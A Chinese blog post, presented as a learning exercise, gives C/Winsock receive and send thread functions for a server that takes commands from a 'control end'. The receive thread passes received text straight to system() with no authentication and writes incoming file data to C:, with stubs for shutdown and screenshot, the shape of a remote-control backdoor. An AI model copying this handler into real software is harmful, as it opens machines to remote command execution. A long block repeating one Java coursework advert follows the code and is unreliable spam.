服务器是如何接收查询信号的,服务器端的收发线程函数

练习写套接字通信程序时候写的一段代码,本来想写个聊天室但写来写去进度卡在界面上接节下来都是通信部分的代码

因为只是试验用所以都是用C写的,等界面部分完工后会用类来封装一下

因为本人E文很烂所以变量和函数的命名是具有中国特色的,求理解.不过我注释的很详细了

谨以此文纪念我那坑爹的编程自学生涯......................

#include "shujubao.h"

#include "stdlib.h"

//定义线程共享全局变量用来协调线程进度

int M=0;    //指挥发送线程工作,为1则把fasjgd中的数据发送出去

struct SJGD fasjgd;  //数据发送完后把M置0

/

//接收线程函数

DWORD WINAPI JieXC (LPVOID jie)

{

SOCKET callsock=INVALID_SOCKET;

callsock=(SOCKET)jie;

char data[SZBAO];  //接收缓冲区

struct SJGD sjgd; //标准数据包存放管道

sjgd.sjcd=SZBAO;

struct SJB sjb; //封包结构体

HANDLE File;  //文本句柄

DWORD szfile;

/

while (1)

{

recv(callsock,data,SZBAO,0); //接收一个标准数据包错误数据包丢弃不处理

char_byte(data,&sjgd,1,SZBAO); //对缓冲区进行强制类型转换不转换的话解包会出错

ZeroMemory(data,SZBAO);  //清零接收缓冲区

if(Jiebao(&sjgd,&sjb))  //如果是标准数据包的话就进行功能判断和处理

{

switch(sjb.data.msg_stoc.cmd)

{

case CMD_GUANGJI:

//关机功能

break;

case CMD_CMD:

//命令行功能

system((char*)sjb.data.msg_stoc.shuju);

break;

case CMD_JIEPING:

//截屏功能

break;

//

case CMD_FTP:  //文件传输功能

if(sjb.tou.sxid!=1) break;

//以FTP包顺序标号为1的包的附加数据为文件名创建文件

//File=CreateFile((char*)sjb.data.msg_stoc.shuju,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

File=CreateFile("c:\\按键宝典.chm",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//进入文件接收循环

while(sjb.tou.sxid!=0)

{

recv(callsock,data,SZBAO,0); //接收一个标准数据包错误数据包丢弃不处理

char_byte(data,&sjgd,1,SZBAO); //对缓冲区进行强制类型转换不转换的话解包会出错

if(Jiebao(&sjgd,&sjb))

{

WriteFile(File,(char*)sjb.data.msg_stoc.shuju,sjb.data.msg_stoc.sjbcd,&szfile,NULL);

}

}

CloseHandle(File);

char sz[]="文件已经接收成功!";

MoveMemory(fasjgd.sjgd,sz,sizeof(sz));

fasjgd.sjcd=sizeof(sz);

Fengbao(1,CMD_QQ,1,&fasjgd,&sjb);    //给控制端发一个文件接收成功消息数据包

Fabao(&sjb,&fasjgd);

M=1;

/

break;

//

}

}

}

/

return 0;

}

//

//

//发送线程函数

//工作流程是功能函数把各种数据包风包好后发送到fasjgd并把M置1,发送线程开始发包成功后把M置0

DWORD WINAPI FaXC (LPVOID fa)

{

SOCKET callsock=INVALID_SOCKET;

callsock=(SOCKET)fa;

while(1)

{

if(M==1)

{

send(callsock,(char*)fasjgd.sjgd,fasjgd.sjcd,0);

M=0;

}

}

return 0;

}

///

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ava实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),可运行高分资源 Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值